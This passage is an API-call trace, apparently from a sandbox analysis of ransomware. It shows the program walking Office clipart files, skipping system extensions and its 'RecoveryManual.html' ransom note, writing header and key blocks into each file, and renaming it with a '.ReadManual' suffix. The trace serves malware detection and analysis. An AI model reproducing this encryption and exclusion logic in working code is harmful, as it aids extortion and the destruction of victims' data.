psz2="lnk") returned 1 [0264.584] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" [0264.584] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.ReadManual.5A595725" [0264.584] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.ReadManual.5A595725") returned 87 [0264.584] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38525256094) returned 1 [0264.584] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20 [0264.584] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0264.584] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21782) returned 1 [0264.584] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5516, lpName=0x0) returned 0x184 [0264.585] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0264.585] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.585] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0264.676] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0264.676] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5516) returned 0x2f0000 [0264.676] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0264.676] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38534513140) returned 1 [0264.676] CloseHandle (hObject=0x184) returned 1 [0264.676] SetSecurityInfo () returned 0x57 [0264.677] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0264.677] CloseHandle (hObject=0x194) returned 1 [0264.677] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0264.677] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0086428.WMF" | out: lpString1="J0086428.WMF") returned="J0086428.WMF" [0264.677] lstrcmpiW (lpString1="J0086428.WMF", lpString2="RecoveryManual.html") returned -1 [0264.677] StrStrIW (lpFirst="J0086428.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0264.677] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0264.677] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0264.677] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" [0264.677] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.ReadManual.5A595725" [0264.677] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.ReadManual.5A595725") returned 87 [0264.677] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38534621532) returned 1 [0264.678] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20 [0264.785] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0264.786] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=35346) returned 1 [0264.786] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a12, lpName=0x0) returned 0x184 [0264.786] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0264.787] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.787] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0264.925] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0264.926] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a12) returned 0x2f0000 [0265.003] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.004] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38567240375) returned 1 [0265.004] CloseHandle (hObject=0x184) returned 1 [0265.004] SetSecurityInfo () returned 0x57 [0265.004] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.004] CloseHandle (hObject=0x194) returned 1 [0265.004] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0265.004] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0086432.WMF" | out: lpString1="J0086432.WMF") returned="J0086432.WMF" [0265.004] lstrcmpiW (lpString1="J0086432.WMF", lpString2="RecoveryManual.html") returned -1 [0265.004] StrStrIW (lpFirst="J0086432.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.004] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.004] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.005] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.005] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.005] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.005] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" [0265.005] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.ReadManual.5A595725" [0265.005] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.ReadManual.5A595725") returned 87 [0265.005] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38567349415) returned 1 [0265.005] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 0x20 [0265.005] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.006] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33434) returned 1 [0265.006] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x829a, lpName=0x0) returned 0x184 [0265.006] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.051] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.051] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.097] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.097] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x829a) returned 0x2f0000 [0265.144] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.144] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38581257513) returned 1 [0265.144] CloseHandle (hObject=0x184) returned 1 [0265.144] SetSecurityInfo () returned 0x57 [0265.144] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.144] CloseHandle (hObject=0x194) returned 1 [0265.144] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0265.144] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0086478.WMF" | out: lpString1="J0086478.WMF") returned="J0086478.WMF" [0265.144] lstrcmpiW (lpString1="J0086478.WMF", lpString2="RecoveryManual.html") returned -1 [0265.144] StrStrIW (lpFirst="J0086478.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.144] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.144] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.144] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.144] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.144] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.144] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.144] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.145] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.145] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.145] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.145] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.145] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.145] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.145] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.145] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" [0265.145] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.ReadManual.5A595725" [0265.145] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.ReadManual.5A595725") returned 87 [0265.145] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38581360772) returned 1 [0265.145] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20 [0265.145] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.145] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14174) returned 1 [0265.146] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x375e, lpName=0x0) returned 0x184 [0265.146] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.194] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.195] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.237] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.238] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x375e) returned 0x2f0000 [0265.238] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.238] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38590660059) returned 1 [0265.238] CloseHandle (hObject=0x184) returned 1 [0265.238] SetSecurityInfo () returned 0x57 [0265.238] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.238] CloseHandle (hObject=0x194) returned 1 [0265.238] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0265.238] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0089945.WMF" | out: lpString1="J0089945.WMF") returned="J0089945.WMF" [0265.238] lstrcmpiW (lpString1="J0089945.WMF", lpString2="RecoveryManual.html") returned -1 [0265.238] StrStrIW (lpFirst="J0089945.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.238] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.238] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.238] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.238] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.238] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.238] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.239] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.239] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.239] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.239] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.239] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.239] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.239] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.239] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.239] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" [0265.239] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.ReadManual.5A595725" [0265.239] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.ReadManual.5A595725") returned 87 [0265.239] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38590761754) returned 1 [0265.239] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20 [0265.239] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.239] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19898) returned 1 [0265.239] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4dba, lpName=0x0) returned 0x184 [0265.240] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.240] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.240] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.284] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.284] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4dba) returned 0x2f0000 [0265.284] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.284] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38595321118) returned 1 [0265.284] CloseHandle (hObject=0x184) returned 1 [0265.285] SetSecurityInfo () returned 0x57 [0265.285] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.285] CloseHandle (hObject=0x194) returned 1 [0265.285] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0265.285] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0089992.WMF" | out: lpString1="J0089992.WMF") returned="J0089992.WMF" [0265.285] lstrcmpiW (lpString1="J0089992.WMF", lpString2="RecoveryManual.html") returned -1 [0265.285] StrStrIW (lpFirst="J0089992.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.285] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.285] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.285] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" [0265.285] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.ReadManual.5A595725" [0265.285] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.ReadManual.5A595725") returned 87 [0265.285] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38595416537) returned 1 [0265.285] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20 [0265.325] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.325] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15680) returned 1 [0265.325] 